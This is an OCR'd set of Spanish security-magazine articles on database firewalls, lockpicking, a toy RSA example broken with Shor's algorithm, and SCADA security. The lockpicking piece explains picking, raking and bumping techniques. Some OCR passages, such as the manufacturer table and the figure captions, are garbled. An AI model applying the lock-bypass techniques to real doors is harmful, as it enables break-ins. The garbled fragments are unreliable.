El firewall de bases de datos se coloca entre la
aplicacion web (que es visible para los usuarios)
y el manejador de bases de datos (que interactta
con la base de datos para guardar, modificar u
obtener informacién) como se puede ver en la
siguiente imagen:

— Aplicacié [:> Firewall de '|:> i -
nweh I bﬁ:p:de | -
' . 15 |
Usuari <'1:|' _}:@:v _}IQ: b

Figura 2. Flujo de comunicacion entre el usuario, la aplicacion, el firewall
de bases de datos y la base de datos.

Cuando algun usuario malicioso intenta obtener
acceso a la informacion almacenada, se cuenta
con wuna capa adicional de proteccion
proporcionada por el firewall de bases de datos
que le impedira poder consultarla. El firewall solo
permitira el paso a los usuarios o a consultas y
accesos autorizados con anterioridad.

A continuacion, se mencionan algunas de las
soluciones  existentes, asi como sus
caracteristicas mas representativas.
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GreenSQL

Es un software que se instala para fungir como
un firewall de base de datos entre la aplicacion
y el SMBD. Puede instalarse en varios sistemas
operativos 'y configurarse de manera
personalizada. Adicionalmente, intenta
apegarse al Estandar de Seguridad de la
Industria de las Tarjetas de Crédito (PCI DSS).

Algunos de los manejadores de bases de datos
que puede proteger son: MySQL, MariaDB,
PostgreSQL, Microsoft SQL Server, Amazon
RDS vy la estructura de las bases de datos de
Drupal.

Las funcionalidades con las que cuenta son:

+Instalacién en varias modalidades.

*Modo de aprendizaje? .

*Separacién de tareas.

*Funcionamiento como IPS3 /IDS4.

*Envio de notificaciones por correo en tiempo
real.

*Generacion de reportes.

*Ayuda a optimizar el funcionamiento del
manejador de bases de datos.

Oracle Database Firewall

Es un firewall que opera sobre bases de datos que
se encuentran en Oracle, asi como IBM DB2,
Sybase, Microsoft SQL Server y MySQL.

Busca apegarse a las siguientes legislaciones:
Acta Sarbanes-Oxley (SOX), Estandar de
SeguridaddelaIndustriadelas Tarjetas de Crédito
(PCI DSS) y al Acta de la Ley de Portabilidad y
Responsabilidad del Seguro Médico (HIPAA).

Las funcionalidades con las que cuenta son:

+Auditoria del manejador de bases de datos,
sistema operativo, directorios y otros servicios.
*Instalacién en varias modalidades.
*Generacion de bitacoras para su posterior
analisis.

Arquitectura escalable.

*Personalizacion de los reportes.

*Funcionar en modo bloqueo o0 monitoreo.
*Permite configuraciones para alta disponibilidad.
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ModSecurity

Es un modulo del servidor de aplicaciones web
Apache, cuyofuncionamientoprincipalseorienta
a la proteccion de aplicaciones web mediante
su funcionamiento como firewall®. Sin embargo,
también cuenta con una serie de reglas que
pueden emplearse para proteger las peticiones
realizadas al manejador de bases de datos.

Adicionalmente, se puede integrar con otros
servidores de aplicaciones web como Nginx, 1IS
y Java.

Conclusion

Siempre es importante considerar la seguridad
de las aplicaciones web. Una forma sencilla de
hacerlo es pensar la seguridad en capas.

La implementacion de un firewall de bases de
datos permite agregar una capa adicional de
seguridad, sinembargo, esimportante notar que
es una medida adicional de seguridad, la cual
debe iniciar desde el disefo e implementacion
de la base de datos.

Asimismo, antes de implementar un firewall de
bases de datos, es necesario profundizar un poco
mas en el tema y tener presente que habra una
etapa de adecuacién antes del funcionamiento
optimo.

Finalmente, antes de instalar y comenzar a
configurar,esrecomendable hacerloenunentorno
de pruebas, para su posterior implementacion en
un ambiente real. Primero hay que conocer su
comportamiento para ver si es una herramienta
que asegura nuestra base de datos.

R AR RN RN R RN RN NN RN
1 Ver https.//www.owasp.org/index.php/SQL_Injection

2 Ftapa de “calibracion” del firewall para evitar bloquear
una peticion auténtica por parte de la aplicacion.

3 IPS. Sistema de Prevencion de Intrusos.

4|IDS. Sistema de Deteccion de Intrusos.

5 Ver Revista .Seguridad Numero 16.
http://revista.seguridad.unam.mx/numero-16/firewall-de-
aplicaci%C3%B3n-web-parte-i
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Sitio de Oracle Database Firewall:
http://www.oracle.com/us/products/database/security/au
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Referencia técnica sobre Oracle Database Firewall:
http://www.oracle.com/technetwork/products/database-

firewall/database-firewall-ds-161826.pdf

Sitio de ModSecurity: http.//www.modsecurity.org/
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Lockpicking

Yesenia Carrera Fournier

Cuando hablamos de Lockpicking, es inevitable
relacionarlo con uno de los aspectos mas
olvidados, la seguridad fisica. Las empresas
deben considerar que las medidas de seguridad
perimetral no bastan, ya que los problemas no
sOlo pueden presentarse por agentes externos.
En efecto, la seguridad interna también es muy
importante. La probabilidad de que se presente
un problema dentro de la organizacion es alta.
La causa puede ser un ex empleado
descontento, un descuido u otras formas que
jamés se han contemplado.

Adrian Palma (2011, p. 10), Director General de
Integridata, menciona: “Si la seguridad falla en
algun punto, el impacto puede ser en cascada
a los restantes elementos o componentes
(personal, procesos de negocio, aplicaciones,
bases de datos, sistemas operativos, red, fisica)
y por consecuencia a la INFORMACION DEL
NEGOCIO™[1].

En la pelicula Los Piratas de Silicon Valley, el
personaje de Steve Jobs menciona una de las
frases mas caracteristicas de la actualidad: “La
informacion es poder”. Hoy en dia, no podemos
negar que la informacion es uno de los activos
mas importantes, no solo a nivel organizacional,
también a nivel usuario, por lo que se deben
garantizarlos principios basicosdelaseguridad,
es decir, la confidencialidad, integridad y
disponibilidad de la misma.

Cuando se contemplan medidas de seguridad
fisica, el principio de disponibilidad de la
informacion es uno de los mas afectados, ya
que ésta es expuesta a amenazas naturales
como terremotos e inundaciones. A esto
también se suman los peligros ocasionados por
el hombre, ya sea de manera accidental
(incendios o0 explosiones) o intencional
(vandalismo o robo).




;Qué es lockpicking?

Lockpicking se centra en un componente tipico
de la vida cotidiana, la cerradura. Se dice que
la cerradura fue inventada en China hace mas
de 4,000 afios y, tiempo después, fue empleada
en Egipto. Mas es a los romanos a quienes les
debemos la cerradura y la llave metalicas. Se
puede decir que el oficio del cerrajero ha sido
importante a lo largo de la historia. Existieron
cerrajeros que establecieron retos (como el
cerrajero norteamericano Alfred Hobbs) o que
crearon grandes companias como Yaley Yale
Junior

Para definir lockpicking consideramos a
Theodore T. Tool (1991, p. 3):

La teoria del lock picking es la de explotar los
defectos mecanicos... casi todo consiste en trucos
para abrir cerraduras con caracteristicas o defectos
particulares.
La unica forma de aprender a reconocer y explotar los
defectos de una cerradura es practicando. Esto
significa tanto practicar muchas veces en la misma
cerradura, como practicar en muchas cerraduras
distintas. Cualquiera puede aprender a abrir la
cerradura de un escritorio o de un archivero, pero la
capacidad de abrir la mayoria de las cerraduras en
menos de treinta segundos es una habilidad que
requiere practica.

. el lock picking es una forma de abrir cerraduras
causando menos dafios que con la fuerza bruta. [2]

El profesional de tecnologias de informacion
tiene interés especial en este tema. Esto se
debe a que la informacion esta almacenada en
equipos de cdmputo tipo servidor, escritorio,
portatiles e incluso dispositivos méviles que se
encuentran resguardados en cuartos de
telecomunicaciones u oficinas, los cuales
cuentan con cerraduras de puertas
convencionales o, en el mejor de los casos, con
cerraduras de seguridad. Como menciona
Deviant Ollam [3] en su escrito “Diez cosas que
todos deberian saber sobre lockpicking y
seguridad fisica”, el mecanismo de las
cerraduras no es complicado, por el contrario,
es sencillo de aprender. Aun cuando algunos
fabricantes han realizado cambios en las
cerraduras e incluso hanincluido la electricidad,

no deja de ser un problema real en las
instalaciones.

;Como funciona una cerradura?

Theodore T. Tool (1991, p. 3) explica el

funcionamiento basico de una cerradura con
camara de pernos (pin tumber locks).

“Los componentes principales en el disefio son una serie
de pequefios pines de longitud variable, los cuales se
dividen hacia arriba en pares: pernos y contrapernos.
Cada par se reclina en un eje que corre a través del
tambor central de la cerradura y en la cubierta alrededor
del cilindro. Los resortes en la tapa de los ejes
mantienen los pines en posicion.

Cuando no se inserta ninguna llave, el pin inferior o
contraperno en cada par estd totalmente dentro del
tambor y el cilindro, mientras que el pin superior o perno
estd en una posicién asomando fuera del cilindro. La
posicion de estos pines impide que el cilindro de la
vuelta porque los pines lo traban.

Cuando se inserta una llave, la serie de muescas en el
cuerpo de la llave empujan los pines en diferentes
niveles. La llave incorrecta empujard a los pines de
modo que la mayor parte de los pernos todavia estén en
parte en el tambor y en parte en el cilindro, por lo que la
cerradura seguira cerrada o blogueada.

La llave correcta empujara cada par de pines o
suficiente, de tal forma que el punto en donde los dos
pines (pernos y contrapernos) se juntan, se alinee
perfectamente con el espacio en donde el cilindro y el
tambor se juntan (este punto es llamado la linea de corte
o esquileo). Sin ninguno de los pines que bloquean el
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cilindro, se puede rotar libremente y mover el pasador
hacia adentro y hacia fuera. La cerradura quedara
abierta”. [4]

Técnicas para abrir una cerradura
Picking (Ganzuado)

Para abrir una cerradura, es necesario empujar
una serie de pernos, de forma que estos se
empalmen en la linea de corte, dejando libre el
cilindro rotor que, al girar, acciona con una
palanca el pestillo de la puerta. Por lo tanto, el
objetivo es subir cada uno estos pernos a su
altura correcta. (2013) [5]

Es necesario utilizar dos herramientas: “el
tensor (torque), unapalancaparaaplicartension
en el cilindro hacia la direccién de la apertura,
y la ganzua (pick), que se usa para ir subiendo
los pernos que impiden que gire el cilindro, ya
sea uno a uno o varios a la vez, o lo que es lo
mismo: perno a perno o rastrillando”. (2013) [6]

Lifting (Levantar perno a perno)

Consiste en aplicar un poco de tensién en la
cerradura hacia el lado de apertura y pasar la
ganzua por todos los pernos, buscando que el
primero se quede trabado, con la ganzua lo
empujaremos hacia arriba hasta que el perno
se alinee con el rotor, en ese momento el rotor
cedera hasta quedarse trabado con el siguiente
perno, repetiremos la operacion hasta que
consigamos abrir la cerradura, cuantos menos
pernos queden, mas facil sera continuar. (2013)

[7]

AR

Lifting [7]

"\

Raking (Rastrillar)

Esta técnica, también conocida como
Scrubbing, “requiere menos practica en las
cerraduras faciles y es mas complicada en

cerraduras avanzadas. Consiste en que, a la vez
que se aplica un poco de tension, se debe ir
pasando la ganzua portodos los pernos, de forma
que se hundan todos un poco y que los que estén
mas trabados no lleguen a bajar del todo, siendo
mas rapido este método para las cerraduras mas
faciles, ya que de una pasada se pueden subir
dos o tres pernos.” (2013)[8]

H
L\

Raking [8]

Bumping

Técnica conocida también con el nombre de
Ramping, consiste en la apertura de cilindros de
forma limpia, sin dafar el mecanismo de cierre.
Se trata simplemente de desplazar todos los
pernos de manera simultanea mediante el golpeo
(bump) de unallave con algun objeto contundente
(unmartillooundesarmador), separando asiesos
pernos de los contrapernos y liberando, por lo
tanto, el giro de la llave.

Se estima que aproximadamente el 90% de las
cerraduras mecanicas pueden abrirse mediante
esta técnica.

Bumping [9]

Ganzuas

La ganzia es una herramienta imprescindible
para la técnica del lockpicking. Incluso Kevin
Mitnick las utiliza como tarjeta de presentacion
[10].
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Existen diferentes tipos de ganzuasy el material
del que estan hechas puede ser de acero, acero
inoxidable, titanio u otros metales

A continuacion se representa de manera gréafica
la clasificacion realizada por Juan Pablo Quifie
[11].
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Fabricantes de cerraduras

Existen empresas que ofrecen el servicio de
seguridad fisica, en donde especialistas
asesoran o0 recomiendan algun tipo de
cerradura, la cual haya superado con éxito,
numerosas pruebas de resistencia. La siguiente
lista de fabricantes de cerraduras es una
recomendacion de Deviant Ollam [12]:

Fabricante

O sconpion- J

hitp: v scomplonlocks.comd

_hitp:/hwww. avva.atiomelen’

fScHLAGE] 3=t
=
" ? 1
hitp:dwwer schiage.comi hitpe/www bastaccess.com/
(ABUS ) EIABLOY
it ihwww. abus comiang htlphwww abloyusa. com/
JMERI " T"WIE.'Q natpcifwwear trioving. nohbop/pubf howec!
K hovedfindax. itml
A‘EA ABLOY

hiltp.hwww amencanlock comi

KARA
—a N hiliwesw saTpentendgreanheal
LU
o

hitp:'hwwa kaba-mas.com/
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Criptografia cuantica

Paulo Santiago de Jesus Contreras Flores

El siguiente articulo tiene como finalidad
introducirte en el tema de la criptografia
cuantica, ya sea que tu interés sea general o
que después decidas profundizar en él, al final
selistanalgunasreferencias quete podranservir
de apoyo. Este trabajo consta de dos entregas:
en la primera se tocan aspectos muy generales
sobre criptografia, la evolucién del computo
(desde un punto de vista fisico) y un ejemplo
sencillo sobre como un algoritmo, desarrollado
para su implementacion en computadoras
cuanticas, es aplicado para calcular la llave de
descifrado del algoritmo RSA. Después, se te
explicaran algunos conceptos sobre computo
cuantico y su aplicacion a través de la
criptografia cuantica y;, se mencionaran

algunos de los avances tecnolégicos
encaminados a crear una computadora
cuantica.

Alolargo de la historia, la humanidad ha tenido,
por diversas razones, la necesidad de transmitir

mensajes cuyo contenido permanezca oculto. La
criptografia nacié, en principio, como la habilidad
para esconder informacion a cualquier persona
que no le estuviera permitido leerla. A través de
los siglos, se desarrollaron distintas técnicas,
métodos e instrumentos que permitieron el
desarrollo de este arte; la criptografia clasica
abarca éstas técnicas.

En 1948, Claude Shannon propuso la Teoria de
la Informacion (la cual establece que la
informacion es mesurable). Con la aparicion de
ésta, la criptografia dio un salto importante: dejo
de ser un arte para convertirse en una ciencia
considerada como unaramade las matematicas.
Ahora es llamada Criptografia Moderna'. Este
hecho dio pie al surgimiento de diversos
algoritmos criptograficos que se valen del uso de
lacomputadora para suimplementaciéon. Algunos
métodosdecifradodeestetiposon:DES (aparecid
en 19762y fue aceptado como un estandar por
el gobierno de Estados Unidos en 19773), RSA
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(1977), CCE (1985), 3DES (1998) y, finalmente,
AES (2002)-.

Tanto la Criptografia Clasica como la
Criptografia Moderna tienen como objetivo
principal el cifrar la informacion (por medio de
métodos matematicos simples o complejos)
para que pueda ser transmitida a un receptor y
que solo éste sea capaz de descifrarla.
Basicamente, la criptografia es la ciencia
encargada de transformar la informacion de tal
manera, que ésta quede encubierta y sea
incomprensible para todo aquel que no cuente
con la autorizacibn 'y los medios
correspondientes para acceder a ella 5.

Elcomputo es el procesamiento de ciertos datos
(origen) para obtener otros (resultado) con el fin
de que estos ultimos puedan ser utilizados con
algun proposito especifico (predecir los
fendmenos naturales, calcular la nbmina de una
empresa, navegar por las redes sociales, etc.).
Para computar los datos, la humanidad, através
de los siglos, se ha valido de diversas
herramientas, por ejemplo, las maquinas
mecanicas como el abaco, la Pascalina o la
Enigma; las maquinas electrénicas como las

computadoras que conocemos actualmente v,
finalmente, el cerebro humano, que es el
instrumento primordial. Cada una de estas
maquinas, contrario a lo que se pudiera pensar,
tienealgoencomunrespectoasufuncionamiento.
Para hacer su trabajo, se valen de las leyes de la
naturaleza, es decir, obedecen a las leyes de la
fisica. Asi que la computaciébn es un proceso
fisico®.

Para disefar y crear las maquinas mecanicas,
primero, el hombre tuvo que estudiar las
propiedades fisicas de los fenbmenos presentes
en la naturaleza para aplicar estos conocimientos
alcrearunaherramienta que le ayudara aresolver
algun problema. Tal es el caso de la Pascalina
que cre6 Blaise Pascal en 1642. En estamaquina,
los datos se representaban mediante las
posiciones de los engranajes’. Los fundamentos
fisicos y matematicos usados por Pascal, los
podemos explicar ampliamente en la actualidad
gracias a las leyes de la mecanica clasica
presentadas por Sir Isaac Newton en 1687.

Ocurri6 lo mismo con el desarrollo de maquinas
basadas en las leyes del electromagnetismo. El
hombre, a través de diversos estudios y
experimentos, entendié estas leyes y desarrolld
instrumentos que le ayudarian a resolver
problemas de la vida diaria. Uno de estos
instrumentos es la computadora; las propiedades
electromagnéticas de sus componentes
(transformadores, transistores, capacitores,
diodos, etc.) son las que permiten que cada uno
se comporte con ciertas caracteristicas y que, en
conjunto, lleven a cabo el funcionamiento de la
herramienta. También, el hombre anadid6 sus
conocimientos sobre las leyes de la mecanica a
estos nuevos descubrimientos. Un ejemplo, en
donde se conjuntan los fundamentos de la
mecanica clasicay del electromagnetismo en una
computadora, esen eldisenfode los discos duros.

La ciencia que se encarga del estudio de los
fendbmenos naturales, su comportamiento y
propiedades, es la fisica. Fue al cobijo de esta
ciencia que se descubrieron las leyes de la
mecanica clasica y del electromagnetismo.

En el siglo XX se desarroll6 otra rama de la fisica,
la mecéanica cuantica, la cual estudia el
comportamiento de los sistemas en el nivel
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molecular, atbmico y subatoémico, es el ambito
en el cual se manifiestan fenbmenos que no son
evidentes en el mundo macroscopico8. Esta
nueva rama de estudio estuvo auspiciada por
cientificos como M. Planck, A. Einstein, N. Bohr,
B. Podolsky, N. Rosen, entre otros. Entonces,
similarmente a los ejemplos anteriores,
aproximadamente hace 21 anos? se
comenzaron a dirigir los estudios sobre la
mecanica cuantica hacia el desarrollo de
herramientas basadas en estas leyes para el
coOmputo. A esta nueva ciencia se le llamé
computacidn cuantica.

Con la criptografia moderna se han desarrollado
diversos algoritmos de cifrado basados en las
matematicas. Estos son implementados en las
computadoras y, mientras mas complejo sea el
algoritmo, mas tardado y complejo sera poder
realizar un criptoanalisis (estudio del descifrado
no autorizado de mensajes cifrados)'® sobre el
mismo. A medida que crece la capacidad de
cdmputo de las maquinas, es posible realizar
criptoanalisis mas efectivos, como el caso de
DES: en 1997 el grupo Electronic Frontier
Foundation, a través de un ataque de fuerza
bruta, tuvo éxito en la obtencion de una llave,
que fue generada por dicho algoritmo en 56

horas'!, esto exige la necesidad, ya sea de crear
nuevos algoritmos con mayor complejidad o de
desarrollar otros acordes al uso de los nuevos
paradigmas tecnologicos.

Con la computacion cuantica, de acuerdo a los
estudios y teorias desarrolladas, se podra
aumentar de manera exponencial el
procesamiento de los datos respecto a las
supercomputadoras de hoy. Estagran capacidad
de cdmputo se podra usar, por ejemplo, en las
areas de cOmputo grafico, para reducir
significativamente el tiempo que se lleva a cabo

enlaterminacionyproduccion (render)de objetos
modelados , en bases de datos, mejoramiento
de busquedas en bases de datos de millones de

registros, computo cientifico, aumento de
precisidon en los calculos de modelos para la
prediccion de fendmenos fisicos, quimicos y
biolégicos con un costo de tiempo mucho menor.

En la seguridad de la informacién,
especificamente en la criptografia, se veran
cambios tanto en la capacidad de dotar de mayor
integridad a la actual (a los datos enviados en
una comunicacién), como en la capacidad para
realizar criptoanalisis sobre algoritmos de cifrado
actuales, con el impacto que esto conllevaria en
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campos como la economia, las finanzas y la
seguridad militar, es por eso la importancia del
estudio de la Criptografia Cuantica.

en secreto dos numeros primos a partir de los
cuales gener6 su llave publica (que puso a
disposicion de cualquiera que le quisiera mandar
un mensaje cifrado en un servidor de llaves
publicas) y su llave privada, la cual solamente
debe conservar él y que le servira para descifrar
los mensajes que hayan sido cifrados con su llave
publica. Siguiendo el algoritmo RSA; entonces,
siendolallave publicade Bobla parejade numeros
primos 15y 3 indentificada como K,

Consideremos el siguiente ejemplo para tener
unaidea clara sobre el impacto que tendran las
computadoras cuanticas en la seguridad de la
informacion. Este es un ejemplo teérico sobre
como el algoritmo actual de cifrado RSA podra
ser resuelto en un tiempo considerablemente
corto a través del uso de una computadora
cuantica. Koun(N,€) = K,(15,3),

El mensaje que enviara Alice sera “ALMA”,
identificado como M, a cada letra le asignara un
nuamero de acuerdo a su posicion en el alfabeto,
quedando el mensaje

Cifrado RSA

Labasedelalgoritmode cifradoasimétricoRSA,
desarrollado en 1977 por Rivest, Shamir y
Adleman, consiste en utilizar el producto de dos
numeros primos (que deben permanecer en
secreto) bastante grandes (de al menos cien
digitos cada uno), cuyos valores no estén
demasiado préximos. A partir de estos dos
nameros se calculan tanto la llave publica como
la llave privada. La seguridad del algoritmo
radica en que, sin conocer estos dos numeros
primos, es necesario hacer el calculo de la
factorizacion de su producto, lo cual implica,
para un numero tan grande, una complejidad

M..=ALMA,

M., =011213 01,

Alice procede a realizar el célculo del mensaje
secreto o criptograma a través de la formula

matematica

Cripto = M,,6(mod n)

. , Mensaje My, numérico El
exponencial; por lo que, poder hacer ésta I!einl = mm-m;:mm
factorizacion con la capacidad de cdmputo L 12 03
actual, puede tomar varias décadas'2. Este - = =

algoritmo es ampliamente usado como soporte
de seguridad en varios protocolos, por ejemplo,
en el protocolo SSL'3 | en redes virtuales
privadas'4 (VPN) y en esquemas de
infraestructura de llave publica'>(PKI).

Entonces, Alice enviaaBob por correo electrénico
el criptograma 01030701, Bob sera el Unico que
podra descifrar el mensaje con su llave privada.

Para el ejemplo vamos a considerar a tres
actores, Alice, Bob y Eve. Alice desea enviar
un mensaje secreto a Bob a través de un medio
inseguro, como lo es un correo electrénico, es
decir, un medio en el cual cualquier persona no
autorizada podria interceptar este mensaje;
para enviar este mensaje, Alice utiliza el
concepto de criptografia asimétrica'é, por lo
que utiliza la llave publica de Bob para cifrar el
mensaje.

Algoritmo de Shor

En 1994, Peter Shor, quien trabajaba en AT&T,
publicd su algoritmo de factorizacion de nUmeros
enteros. Este algoritmo utiliza las propiedades de
la computacion cuantica y, con él, es posible
resolver de una manera eficiente el problema de
factorizacién de numeros enteros grandes en sus
factores primos. Algunos algoritmos de cifrado,
como RSA, lo usan como base, es decir, sera
posible hacer el criptoanalisis de los mensajes

Para generar sus llaves de cifrado y descifrado,
Bob, previamente, tuvo que escogery mantener
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cifrados con estos algoritmos tan usados en la
actualidad, usando una computadora
cuantica'”.

El algoritmo de Shor utiliza el concepto del
paralelismo cuantico paraencontrarlosfactores
primos a partir de un producto dado, es decir,
un criptoanalista podra obtener los datos
necesarios para generar la llave que descifrara
el mensaje.

Siguiendo con el ejemplo, durante el envio del
mensaje de Alice a Bob, sin que ellos lo noten,
éste esinterceptado poruntercerollamado Eve.
Bob es el Unico que cuenta con lallave (su llave
privada) para descifrar el mensaje, Eve desea
encontrar el mensaje secreto, para esto podra
hacer uso del algoritmo de Shor para el
criptoanalisis.

Lallave pUblica de Bob es K, ,(n,e) =K, ,(15,3)
disponible para cualquiera, también lo es para
Eve. A partir de la llave publica de Bob y del
mensaje secreto enviado por Alice, Eve podra
aplicarelcriptoandlisisparaobtenerelmensaje.

La siguiente aplicacion del algoritmo de Shor
fue tomada del desarrollo de la Fis. Verdnica
Arreola. El numero n = 15, calculado
previamente por Bob, es el dato conocido que
resulta del producto de dos niumeros primos p
y q que deben mantenerse en secreto, este
namero entero positivo n sera el numero a
factorizar por Eve. Para ello, Eve seguira el
siguiente procedimiento: primerovaaelegirotro
numero entero ‘y’ positivo menoranque cumpla
con que el maximo comun divisor (mcd) entre
ellos sea 1,

mcd(y,n)=1,

y se apoya en el algoritmo de Euclides para el
calculo del mcd.

Eve elige
y =13,
tiene entonces que

mcd(13,15) = 1.

Ahora, a partir de estos numeros, calculara su
periodo r de la siguiente forma

13" mod 15 =13

132mod 15= 4
133mod 15=7
134mod 15 = 1
13°mod 15 =13
13 mod 15= 4
137mod 15=7
138 mod 15 = 1

13 mod 15 =13

Entonces genera la sucesion

13,4,7,1,13,4,7,1,13,...

Por lo tanto, dira que,

13 tiene periodo r = 4 con respecto a 15,
pues cada 4 términos la sucesion se repite.

El periodo de la sucesion anterior
r =4 es de la forma 2s,

con s numero entero distinto de cero (en este caso
s = 2), es decir, es un numero par. Ademas,

ys #-1 mod (n),

estas ultimas condiciones son necesarias para
llevar a cabo el algoritmo de Shor. Observemos
ahora que

y2*s- 1 =(ys-1)(ys+ 1) =0 mod (n),
es decir, ndivide a (ys- 1)(ys + 1), por lo que para
algun entero k diferente de cero se cumple

(ys+ 1)(ys-1) =kn.

Bastara entonces que Eve calcule, haciendo uso
del algoritmo de Euclides, el mcd(ys + 1, n) para
asi obtener factores no triviales de n.

Para el ejemplo,

(ys-1)= 132-1=168
(ys+1) =132+ 1 =170,
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calculando los maximos comunes divisores se
obtiene

mcd(168,15)

=3
mcd(170,15) =5

en donde 3y 5 son los factores de n = 15.

Estos dos factores

p=5yq=3

obtenidos por Eve, son los nUmeros primos a
partir de los cuales Bob calculd tanto su llave
publica como su llave privada, para poder hacer
el criptoanalisis del mensaje secreto, Eve solo
tendra que seguir el algoritmo RSA para obtener
el valor de la llave privada de Bob.

La llave privada de Bob calculada por Eve es

K, (n,d) =K, . (15,11),

priv priv

y descifrando el criptograma obtiene
el mensaje:

M., numérico Mensaje
(cripto) My, = Cripto(mod n) (M)
01 01 A
03 12 L
o7 13 M
01 01 A

Se podra advertir rapidamente que no es
necesario utilizar una computadora actual para
obtener, a partir de una llave publica calculada
con el algoritmo RSA (aplicando el algoritmo de
Shor), sus nUmeros generadores. Pero en este
ejemplo sencillo (usado solamente para plantear
los conceptos), se usan los nUmeros p y q con
un digito solamente, y el producto n de ellos
tiene dos digitos. El algoritmo RSA plantea
consideraciones para elegir a los nUmeros p y
g, que dictan que cada uno sea un numero con
al menos 100 digitos (aproximadamente de 500
bits) y que dichos numeros no deban estar
relativamente proximos el uno del oftro.
Entonces, a partir de estas consideraciones, el
tiempo necesario para encontrar los factores de
n (n de al menos 1024 bits) llevaria a las
computadoras actuales algunas décadas
(problema computacionalmente intratable),

mientras que con una computadora cuantica
tomaria solo algunos minutos.

En la proxima entrega se explicara como es que
una computadora cuantica podria realizar todos
estos calculos en minutos haciendo uso de las
propiedades descubiertas por la mecanica
cuantica.
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Sistemas SCADA, consideraciones

de seguridad

Eduardo Carozo Blumsztein

Intentaremos exponer las dificultades que
encuentran las soluciones de seguridad que se
aplican a las redes telematicas convencionales
(ICT: Information and Communications
Technology) cuando se aplican a las redes
telematicas industriales (ICS: Industrial Control
System).

Comenzaremos por la descripcion de SCADA
(Supervisory Control and Data Acquisition), es
el nombre del sistema de informacion
especializado que se utiliza informalmente para
referirse a un conjunto de tecnologias,
protocolos y plataformas, que componen lo que
se denomina la ICS.

Los SCADA habitualmente tienen funciones de
automatizacion y control en los procesos
industriales y diferentes niveles de interaccion
con los dispositivos remotos, siendo capaces,
en su nivel mas bajo, de Unicamente recabar
datos (presion, temperatura, posicién). En el
nivel intermedio, de dirigir a distancia
dispositivos bajo supervision humana remota

(abrir compuertas, cerrar valvulas). En su nivel
mas alto de interaccidén, tomar decisiones en
forma automatica (abrir o cerrar valvulas para
mantener niveles de tanques, rangos de presion
en lineas de vapor, disparar disyuntores
eléctricos en lineas de alta tension, etc.).

La razon por la que estos sistemas se destacan
entre los activos de informacion criticos, es por
su potencial de impacto en la poblacién en caso
de una disfuncién: Centrales de generacion
eléctrica (nucleares, térmicas, etc.), control de
redes de energia, redes de aguas potables,
control de gasoductos, lineas automatizadas de
produccion en fabricas, control y gestion de
plantas de destilacion de hidrocarburos,
petroquimicas, etc., instalaciones que cuando
tienen malos funcionamientos o interrupciones,
generalmente afectan a miles de personas.

Esimportante precisar,ademas,queenlamedida
en que los dispositivos se hacen mas precisos y
confiables, mas decisiones de control se estan
delegando a este tipo de sistemas, dado que su
capacidad de toma de decisiones con frecuencia




es mas ajustada (de mayor precisidn) y mas
estandar (lo que asegura mejoras de calidad en
muchos procesos) que el control manual
humano.

Historicamente, estos sistemasnacieronenuna
situacion muy diferente a la que operan
actualmente: eran implementados en recintos
cerrados, controlando dispositivos fisicos
cercanos (frecuentemente bajo linea de vista
del operador) y bajo estrictos controles de
acceso fisico en el interior de la instalacion
industrial que debian medir o controlar. La
mayoriade lasimplementaciones se realizaban
para controlar y registrar variables fisicas
(temperatura, presion, etc.) y estandarizar el
comportamiento de valvulas de flujo, niveles de
tanques y generalmente la idea “concepto” era
realizar una instalacion inicial y mantenerla en
forma inalterada en el tiempo. La seguridad se
controlaba por “obscuridad”, dejando la red
desconectada de su entorno y dando acceso a
un numero limitado de empleados
especializados. Es frecuente encontrarse con
estos sistemas operando sin interrupciones

ni actualizaciones desde hace cuatro o

cinco anos.

Por esta forma de ser implementados y
gestionados, los sistemas SCADA eran, en el
pasado, relativamente inmunes a las
intrusiones y ataques que sufrian las redes en
el exterior, no por ser mas resistentes, sino
porque estaban desconectados y eran
inaccesibles desde las redes administrativas o
Internet.

Es esencial entender que este aislamiento ha
cambiado, ahora es necesario tomar datos del
proceso industrial en tiempo real, llevarlos a
diversos sistemas de las redes administrativas,
interconectar nuestro sistema de control con
empresas proveedoras a través de Internet, o
comandar a distancia elementos a través de
datos de la red celular. Para ello, es necesario
utilizar los mismos protocolos y tecnologias que
usan las redes de datos en general. Esta
situacion esta provocando una alta exposicion
de estos fragiles sistemas a ataques desde el
exterior. Es cada vez es mas frecuente
encontrarse con incidentes de seguridad que
los afectan seriamente?.

Otro aspecto relevante son las practicas de los
operadores de los sistemas de control industrial,
que culturalmente siguen percibiendo y
trabajandoconestos sistemas,comosiestuvieran
aislados e implicitamente seguros.

Sistemas de seguridad de la
informacion - Dificultades

Existe un profuso desarrollo y multiples
experiencias de éxito de sistemas de gestion de
seguridad de lainformacién para redes complejas
de tecnologias de la informacion 'y
telecomunicaciones?.

Lamayoriade las propuestas sonimplementadas
bajo el estandar ISO 27000, lo que implica en la
génesis de los sistemas, que el aseguramiento
debe garantizarse sobre tres aspectos:
confidencialidad, integridad y disponibilidad.

El orden en la que se presentan estas tres
caracteristicasnoescasualyescausalde muchos
delosaspectosquehaceninadecuadoun Sistema
de Gestion de Seguridad de la Informacidon (SGSI)
tradicional para una red industrial. Para una
entidad financiera, de gobierno o una empresa,
en general los riesgos mas importantes estan
dirigidos por una posible pérdida de
confidencialidad (por ejemplo, debido a razones
competitivas o pérdida de informacion privada de
los ciudadanos), luego deben ser considerados
temas de integridad y cierra la lista de
caracteristicas la disponibilidad.

Por supuesto existen industrias en donde los
ordenes estan invertidos. Por ejemplo, en un
sistema de prepago de celulares, la disponibilidad
es crucial, al igual que en las ICS. La ventana de
tiempo aceptable de indisponibilidad del servicio
no supera los 40 segundos. En una entidad
bancaria, la integridad de la base de datos de
cuentas bancarias es lo mas importante; sin
embargo, en la mayoria de las soluciones, el
ordenamiento de relevancia de las caracteristicas
es confidencialidad, integridad y disponibilidad.

Cuando desarrollamos sistemas de gestidon
industrial, la disponibilidad del mismo es crucial
debido aque unainterrupcion de dichos sistemas,
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provoca inmediatamente falta de control de los
sistemas productivos, pérdidas de calidad y
estandarizacion de calidad y, en los sistemas
criticos, potencialmente se pone en riesgo la
vida de personas. Sigue en prioridad la
integridad de la informacion para lograr una
rapida recuperacion al estado de régimen
después de una interrupcion y, finalmente, la
confidencialidad.

Esta diferenciacion de prioridades provoca
importantes diferencias a la hora de escoger e
implementar herramientas de trabajo y
seguridad. Asimismo, torna algunas practicas
habituales del mundo de las Tecnologias de la
Informacion 'y Comunicacion (TIC ) en
inaceptables para los entornos industriales.

vez que sea necesario actualizar un sistema
operativo se detenga la linea de destilacion de
una refineria, con un costo de varios millones de
